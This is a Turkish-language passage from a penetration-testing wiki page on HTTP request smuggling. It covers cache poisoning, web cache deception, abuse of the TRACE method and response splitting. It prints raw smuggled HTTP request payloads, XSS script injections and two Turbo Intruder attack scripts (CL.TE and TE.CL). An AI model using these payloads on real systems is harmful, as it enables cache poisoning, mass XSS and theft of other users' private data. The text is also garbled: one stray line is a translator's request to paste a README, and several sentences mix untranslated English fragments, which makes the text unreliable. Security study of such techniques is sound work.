Bu teknik, bir Open Redirect vulnerability bulunduğunda veya bir on-site redirect to an open redirect olduğunda özellikle etkili hale gelir. Bu tür zafiyetler, önbellekteki /static/include.js içeriğinin saldırganın kontrolündeki bir script ile değiştirilmesi için kullanılabilir; bu da güncellenmiş /static/include.js'i isteyen tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısı gerçekleştirilmesini sağlar.

Aşağıda, cache poisoning combined with an on-site redirect to open redirect kullanımının bir örneği gösterilmektedir. Amaç, önbellekteki /static/include.js içeriğini saldırganın kontrolündeki JavaScript kodunu sunacak şekilde değiştirmektir:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Gömülü isteğin /post/next?postId=3'e yöneldiğine dikkat edin. Bu istek, alan adını belirlemek için Host header value kullanılarak /post?postId=4'e yönlendirilecek. Saldırgan, Host header'ı değiştirerek isteği kendi alan adına yönlendirebilir (on-site redirect to open redirect).

Başarılı bir socket poisoning'den sonra, /static/include.js için bir GET request başlatılmalıdır. Bu istek, önceki on-site redirect to open redirect isteği tarafından kirletilecek ve saldırganın kontrolündeki script'in içeriğini alacaktır.

Ardından, /static/include.js için yapılacak her istek saldırganın script'inin önbelleğe alınmış içeriğini sunacak ve bu da geniş çaplı bir XSS saldırısını etkili şekilde başlatacaktır.

HTTP request smuggling kullanarak web cache deception gerçekleştirme

web cache poisoning ile web cache deception arasındaki fark nedir?

  • web cache poisoning durumunda, saldırgan uygulamanın önbelleğe bazı kötü amaçlı içerikler kaydetmesine neden olur ve bu içerikler önbellekten diğer uygulama kullanıcılarına sunulur.
  • web cache deception durumunda, saldırgan uygulamanın başka bir kullanıcıya ait hassas içeriği önbelleğe kaydetmesine neden olur ve saldırgan daha sonra bu içeriği önbellekten alır.

Saldırgan, kullanıcıya özel hassas içeriği getiren bir smuggled request oluşturur. Aşağıdaki örneği inceleyin:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Eğer bu smuggled request statik içerik için ayrılmış bir cache entry'yi zehirlerse (ör. /someimage.png), kurbanın /private/messages içindeki sensitive data bu statik içeriğin cache entry'si altında cached olabilir. Sonuç olarak attacker bu cached sensitive data'ları elde edebilir.

TRACE'ın HTTP Request Smuggling ile kötüye kullanılması

Bu yazıda öneriliyor ki eğer sunucuda TRACE methodu etkinse, bunu HTTP Request Smuggling ile suistimal etmek mümkün olabilir. Bunun nedeni bu methodun sunucuya gönderilen herhangi bir header'ı response'ın body kısmında yansıtmasıdır. Örneğin:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Çevirilecek README.md içeriğini buraya yapıştırın. Verdiğiniz yönergelere göre (kod, teknik terimler, linkler, path'ler ve belirtilen etiketleri çevirmeme kuralına uyarak) Türkçeye çevireceğim.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Bu davranışın kötüye kullanılmasına bir örnek, smuggle first a HEAD request. Bu isteğe yalnızca bir GET isteğinin headers ile yanıt verilecek (Content-Type bunların arasında). Ve immediately after the HEAD a TRACE request smuggle edilirse, gönderilen veriyi reflecting the sent data.
HEAD yanıtı bir Content-Length header'ı içereceği için, response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data yanıtın gövdesi olarak kabul edilecektir.
Bu yanıt bağlantı üzerinden bir sonraki isteğe gönderilecektir; bu nedenle bu, örneğin önbelleğe alınmış bir JS dosyasında keyfi JS kodu enjekte etmek için used in a cached JS file for example to inject arbitrary JS code.

Abusing TRACE via HTTP Response Splitting

Devamında this post önerildiği gibi TRACE methodunu kötüye kullanmanın başka bir yolu anlatılıyor. Belirtildiği gibi, bir HEAD isteği ve bir TRACE isteği smuggle edilirse HEAD yanıtında bazı yansıtılan veriler control some reflected data mümkün olur. HEAD isteğinin gövdesinin uzunluğu temelde Content-Length header'ında belirtilir ve TRACE isteğinin yanıtı tarafından oluşur.

Dolayısıyla yeni fikir şudur: bu Content-Length bilindiğinde ve TRACE yanıtında dönen veri bilindiğinde, TRACE yanıtının Content-Length'in son baytından sonra geçerli bir HTTP response içerecek şekilde oluşturulması mümkün olabilir; bu da bir saldırganın bir sonraki yanıt üzerindeki isteği tamamen kontrol etmesine izin verir (bu, cache poisoning gerçekleştirmek için kullanılabilir).

Örnek:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Aşağıdaki yanıtları oluşturacaktır (HEAD yanıtının bir Content-Length'e sahip olduğunu, bunun TRACE yanıtını HEAD gövdesinin parçası yaptığına ve HEAD Content-Length sona erdiğinde geçerli bir HTTP yanıtının smuggled olduğuna dikkat edin):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTP Response Desynchronisation ile HTTP Request Smuggling'in Silahlandırılması

Bir HTTP Request Smuggling açığı mı buldunuz ve nasıl istismar edeceğinizi bilmiyor musunuz? Bu diğer istismar yöntemlerini deneyin:

{{#ref}} ../http-response-smuggling-desync.md {{#endref}}

Diğer HTTP Request Smuggling Teknikleri

  • Browser HTTP Request Smuggling (Client Side)

{{#ref}} browser-http-request-smuggling.md {{#endref}}

  • Request Smuggling in HTTP/2 Downgrades

{{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}}

Turbo intruder scripts

CL.TE

Kaynak https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Kaynak: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Araçlar

Referanslar

{{#include ../../banners/hacktricks-training.md}}